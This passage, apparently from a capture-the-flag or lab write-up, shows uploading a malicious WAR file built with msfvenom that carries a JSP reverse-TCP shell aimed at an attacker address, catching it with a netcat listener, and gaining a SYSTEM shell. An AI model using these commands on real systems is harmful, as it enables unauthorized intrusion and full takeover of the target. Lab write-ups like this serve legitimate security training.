* We can now try to upload things here

![Upload](/files/IcOnYRV2WSzgrewZraLQ)

* Let's make a malicious war file with msfvenom and upload it `msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=1234 -f war > shell.war`
* `rlwrap nc -lvp 1234` we set up a listener

* We get a shell as authority system right away

![](/files/rwYxiys7E2l1dXJTmLfs)
